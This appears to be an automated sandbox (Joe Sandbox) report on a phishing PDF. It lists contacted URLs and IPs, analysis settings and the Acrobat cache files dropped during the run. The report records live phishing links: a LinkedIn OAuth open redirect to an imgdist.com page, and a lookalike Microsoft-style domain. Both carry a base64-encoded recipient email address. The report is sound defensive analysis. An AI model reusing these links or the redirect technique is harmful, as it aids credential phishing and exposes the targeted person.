http://x1.i.lencr.org/	false		high
https://static.licdn.com/sc/h/9sy73bkb829663kxb6g04uafc	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/h/35397qx3weze575afrgy8jbkj	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/h/b9d2ioq59rc8u5l3n2c017zz	false	Avira URL Cloud: safe	unknown
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/favicon.ico	false	Avira URL Cloud: safe	unknown
https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34	false	Avira URL Cloud: safe	unknown
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/images/browser-bar.png?1376755637	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/p/com.linkedin.oauth-fe%3Aoauth-fe-static-content%2B4.0.1495/f/%2Foauth-frontend%2Fartdeco%2Fstatic%2Fimages%2Ficons.svg	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/h/6uvbu98hl3odicpkxfj7uwnuh	false	Avira URL Cloud: safe	unknown
https://62e04af28f.imgdist.com/public/users/BeeFree/beefree-31ff42bd-9787-4fbe-bed4-53cc2f6c51cc/generated.svg?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/scds/common/u/lib/fizzy/fz-1.3.8-min.js	false	Avira URL Cloud: safe	unknown
https://www.linkedin.com/li/track	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/h/bd4wlgg9kzz4u85nas4duu0py	false	Avira URL Cloud: safe	unknown
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/?t=YW1iZXIuY3J1ekBoc2Nwb2x5LmNvbQ==&?bai09ejgryrzwmvzfqvzz1f64bai09ejgryrzwmvzfqvzz1f64&error=invalid_request&error_description=You+need+to+pass+the+%22scope%22+parameter	false		unknown
https://authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org/cdn-cgi/styles/cf.errors.css	false	Avira URL Cloud: safe	unknown
https://static.licdn.com/sc/h/3m4lyvbs6efg8pyhv7kupo6dh	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
184.25.164.138	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
74.125.136.94	unknown	United States	15169	GOOGLEUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.9.138	unknown	United States	15169	GOOGLEUS	false
64.233.176.84	unknown	United States	15169	GOOGLEUS	false
74.125.21.138	unknown	United States	15169	GOOGLEUS	false
23.60.85.50	e8652.dscx.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
104.21.21.162	authorize-client-id-00000002-0000-0ff1-ce00-online.riseserviceinc.org	United States	13335	CLOUDFLARENETUS	false
173.194.219.94	unknown	United States	15169	GOOGLEUS	false
13.107.42.14	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.22.41.97	unknown	United States	14618	AMAZON-AESUS	false
151.101.131.42	linkedin.map.fastly.net	United States	54113	FASTLYUS	false
3.170.91.82	62e04af28f.imgdist.com	United States	16509	AMAZON-02US	true
64.233.185.101	unknown	United States	15169	GOOGLEUS	false
142.251.15.106	www.google.com	United States	15169	GOOGLEUS	false
142.250.9.94	unknown	United States	15169	GOOGLEUS	false
23.42.156.205	unknown	United States	20940	AKAMAI-ASN1EU	false
150.171.22.12	ln-0002.ln-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.195.42	unknown	United States	54113	FASTLYUS	false
199.232.210.172	bg.microsoft.map.fastly.net	United States	54113	FASTLYUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665411
Start date and time:	2025-04-15 14:15:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	Scanned Page(s).pdf
Detection:	MAL
Classification:	mal56.phis.winPDF@39/53@19/202
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 23.42.156.205, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, ssl-delivery.adobe.com.edgekey.net, p13n.adobe.io, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://linkedin.com/oauth/v2/authorization?response_type=code&client_id=783n2fmzc90wlf&redirect_uri=%68%74%74%70%73%3A%2F%2F%36%32%65%30%34%61%66%32%38%66%2E%69%6D%67%64%69%73%74%2E%63%6F%6D%2F%70%75%62%6C%69%63%2F%75%73%65%72%73%2F%42%65%65%46%72%65%65%2F%62%65%65%66%72%65%65%2D%33%31%66%66%34%32%62%64%2D%39%37%38%37%2D%34%66%62%65%2D%62%65%64%34%2D%35%33%63%63%32%66%36%63%35%31%63%63%2F%67%65%6E%65%72%61%74%65%64%2E%73%76%67%3F%74%3D%59%57%31%69%5A%58%49%75%59%33%4A%31%65%6B%42%6F%63%32%4E%77%62%32%78%35%4C%6D%4E%76%62%51%3D%3D%26%3F%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34%62%61%69%30%39%65%6A%67%72%79%72%7A%77%6D%76%7A%66%71%76%7A%7A%31%66%36%34
VT rate limit hit for: https://static.licdn.com/sc/h/35397qx3weze575afrgy8jbkj
VT rate limit hit for: https://static.licdn.com/sc/h/6uvbu98hl3odicpkxfj7uwnuh
VT rate limit hit for: https://static.licdn.com/sc/h/9sy73bkb829663kxb6g04uafc
VT rate limit hit for: https://static.licdn.com/sc/h/b9d2ioq59rc8u5l3n2c017zz
VT rate limit hit for: https://static.licdn.com/sc/p/com.linkedin.oauth-fe%3Aoauth-fe-static-content%2B4.0.1495/f/%2Foauth-frontend%2Fartdeco%2Fstatic%2Fimages%2Ficons.svg
VT rate limit hit for: https://static.licdn.com/scds/common/u/lib/fizzy/fz-1.3.8-min.js
VT rate limit hit for: https://www.linkedin.com/li/track

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.225245735312736
Encrypted:	false
SSDEEP:
MD5:	8F2600615698F17A140122D935D40A2E
SHA1:	37E7106664F314645AF33C5F1A406447E3EB9DC3
SHA-256:	617F947C9B6C26501E6C83F337A78214FC8A632246EAD4D600956606B2358948
SHA-512:	5FF00C5046D3AFEB76CD8D35281D969983792D291B4E01F2FDED0D9BC2D1EB4B6B8E01B8ECB73F13BF69255F0DC6E86BD996ED2898DDFEA5198E3C97C227E0DD
Malicious:	false
Reputation:	unknown
Preview:	2025/04/15-08:16:03.029 197c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/04/15-08:16:03.033 197c Recovering log #3.2025/04/15-08:16:03.033 197c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.17337766450289
Encrypted:	false
SSDEEP:
MD5:	009AD0B01D6A8CE29740462A298339B7
SHA1:	163C03E4BF74028C23AA0A97DD98BEC8E6DC934A
SHA-256:	8EC97A2344450C12083AB166AA73FD92A6A1A6675AF1D99102C37B726E489033
SHA-512:	000C99CC02ACCA93920A40B3737537198A942846FCA40859BEC0AD01BE389CC4FB17A06A6B1630F1C8431B7978A1D2B79C5B01F1C3EC6AD089BA4459B20253B5
Malicious:	false
Reputation:	unknown
Preview:	2025/04/15-08:16:02.912 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/04/15-08:16:02.915 1a44 Recovering log #3.2025/04/15-08:16:02.915 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4c9b8526-3db2-445f-8dc9-88b765fdaf24.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.990840155196377
Encrypted:	false
SSDEEP:
MD5:	FA9B067FDEBA7BBA4279C6C73738D6E9
SHA1:	4FAE67053795B11B28638B10BF1DD05BE63895FB
SHA-256:	EB145052DDC0D2A3A9411C705CEBAC458B356293C0808537B0A160D436F4FF06
SHA-512:	CF40D86039112963C92036A18D96C7FCC466D0BDAB566D77A037F050928F14A6CCBA503C6605C4167D8B753DA915F042D8F0C24F1271B3C27B60C84AFDF7FBC8
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13389279375091882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":103425},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	FA9B067FDEBA7BBA4279C6C73738D6E9
SHA1:	4FAE67053795B11B28638B10BF1DD05BE63895FB
SHA-256:	EB145052DDC0D2A3A9411C705CEBAC458B356293C0808537B0A160D436F4FF06
SHA-512:	CF40D86039112963C92036A18D96C7FCC466D0BDAB566D77A037F050928F14A6CCBA503C6605C4167D8B753DA915F042D8F0C24F1271B3C27B60C84AFDF7FBC8
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13389279375091882","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":103425},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.226179529053202
Encrypted:	false
SSDEEP:
MD5:	0A7F6361D3614A729CCC6883F510AD21
SHA1:	C21AE34AC1651C57DCA14484A46846619960D340
SHA-256:	79C862E5011DF357CD34238CF32BC0BEA458E5E4CF9AA08C82088B4B9B7A52F5
SHA-512:	64C9ED838E9F63992241CFE6A4337F1501FD452F842129E8E8517CD4F48D538641B9B8CCE839C196B581942EDBCB93543633610CA8426A1F177173E9947749AA
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1731113652768705
Encrypted:	false
SSDEEP:
MD5:	E9F983266B977F9D414ADC70B9009217
SHA1:	0249F291253EB64062471A68868F25BD76CFE8B9
SHA-256:	028C933B2C4A3E9138D8C09CDE0B06409C911F317F8422B8B5BBF83C039CDAFE
SHA-512:	C6A27DD0B9B07C61C99A7012089FFA84B6D601DB908DB1D8552395A3ADB2E25323765F9D331AA07BCEC0CD24DFA17434FEF795B86794DF269994CEB606A19E98
Malicious:	false
Reputation:	unknown
Preview:	2025/04/15-08:16:03.109 1a44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/04/15-08:16:03.111 1a44 Recovering log #3.2025/04/15-08:16:03.113 1a44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250415121606Z-163.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	1.319027521372151
Encrypted:	false
SSDEEP:
MD5:	F41ADDB1EEA8AE81E6FE532D0F699094
SHA1:	8ECD1CD48E2EC5C7BBBC87CD0F38CF0AF09DAB83
SHA-256:	FCE7E41090D39BB2ED95DEF0176FF2D95F65EA7AA2A40CDF445F1A2B8A143062
SHA-512:	F62C8D90CF5E3F211FD621550B059C706F45A5E601B997AC4C10ABB8314FD0D1E50BB41D2DFA3B88426ACDE3FCC8EA5F1D57CA04CDF08E03A32E8DCB1CEEC446
Malicious:	false
Reputation:	unknown
Preview:	BMV.......6...(...k...h..... ..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\|...NZ..LX..LX..MY..........

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2143959408042422
Encrypted:	false
SSDEEP:
MD5:	2D97533FE47EA0E7EC4081D6D6B9A641
SHA1:	DE13CBF4B434B0056DFFC631EA65C49CC7158D0E
SHA-256:	5A9701E749C81C34797E8C63E54AEC9314B34395E0B87A6FDF131E4714351FB9
SHA-512:	1C0F63725EFACC7E3F7F039CDFE377A4A025CB1660C4503F21FC463BD09BBFFF6B3E75EC95040A9500DB738ED40B79250BE63B38A412AF850C962874B271E9E9
Malicious:	false
Reputation:	unknown
Preview:	.... .c.......r7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Reputation:	unknown
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Reputation:	unknown
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.694277222898675
Encrypted:	false
SSDEEP:
MD5:	5EBF2AC2EC74DC6A4FB97F1E87567AD3
SHA1:	348BA8FA0F0B4C567507364505C2FAC98BDD982B
SHA-256:	C9F2813D25AEF0CEE212067E0B06FFFB39C68F57560769352FBB039EA1D66142
SHA-512:	5AA831692B5E349D37BDCC1934F350DE88C1B1332A25E11CE5BF13B373FACBBE9AA63300AFC34E4216F60E206980C451DA9072C37272AC46C23DD5499FC87CA3
Malicious:	false
Reputation:	unknown
Preview:	p...... ................(....................................................... ..........W....f...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.253799583475454
Encrypted:	false
SSDEEP:
MD5:	A0671F577E13C8DE75189D713262A129
SHA1:	01A3C4D0D99367D7319FABCC65427A0D581E08F6
SHA-256:	9E368DA8E830BDFE7725A3CC3E0EF5341BCBF6ABFB53CEDE2E787317D6CDBD2D
SHA-512:	2B0870533D5E32460B76873331B9243CB497D80B88C4A462124753FF5A305C8D8591CA44DD16F81F7B27E6D33282510D5990F27A5CB9BD835FD7E4429690E0F3
Malicious:	false
Reputation:	unknown
Preview:	p...... ..........A....(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365889935986142
Encrypted:	false
SSDEEP:
MD5:	A8B9C678A3C7722F09D3F77233353476
SHA1:	D7B6F08CE8278DBAF8F1A59CD4E52C2AE7587359
SHA-256:	EF1CAC8F05C31D6C597D86DA439366E44EDFC4636A8D44BC92CE4536FF76BFA2
SHA-512:	3620DB00F46504D71431CECEA10DE58186D26F7204E3EFB202DE1C961D57008FD8E6A46235F3011D19A7FAC269B9545FFB13E6E225701265071C2572D5FD7EAD
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31169611839605
Encrypted:	false
SSDEEP:
MD5:	B996956197356880CF8AC15EFB097BFE
SHA1:	41F9446E233015412363C48CD2C972B0C12D43A5
SHA-256:	C70ADBA3CE91FB3D8B7FA9533B1F4C968448A19264B9DEDC6BF8AB3A29087381
SHA-512:	46FE4059DCEB166A174695BEFBB9ED07E2B31EB35B8087A97BF50756BEB35C1BFDA9032CB78488082882FE985C959D7AFBCB6A0F5EB1820C1AD493328FF31A6A
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290107791660911
Encrypted:	false
SSDEEP:
MD5:	9053F9F6E26E61B701AFEFC216FB9167
SHA1:	C749605D9A37666A82ACF26B2D657DC4BDF95219
SHA-256:	9E15787C5EA182F03A54534A4E9468B27DFB0948F175D20C69EAB18069156BE4
SHA-512:	7244BB86337E85C3839FE498AB6AA8D5EE955128EE510B14087BACE8C25A5C2AB0708F97D1BC21BBDE02E5A48359E48AB03F52D3BE7F606FB72D7B0266F050F8
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354358775592715
Encrypted:	false
SSDEEP:
MD5:	F7D39FF0E503286739719E23E8090156
SHA1:	4B41E2ECE0B1FC1F11CC9D0A9B9F4DB84B60C24B
SHA-256:	8A22496B77B663D6B961EA1B3ACA2AB678451D8FA823E9ADE85D3D48B965C1D6
SHA-512:	1A8269070BB23764500734043EF35FF3FAA37E590011670770F166D27A069061217DBC67A98958F71135CDF1A7C3013E0D87E62A4ADAA0593B30D6CF2FE8664C
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"ca8c79de-e402-440a-9dbb-6e1496c8f5f5","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744898632901,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

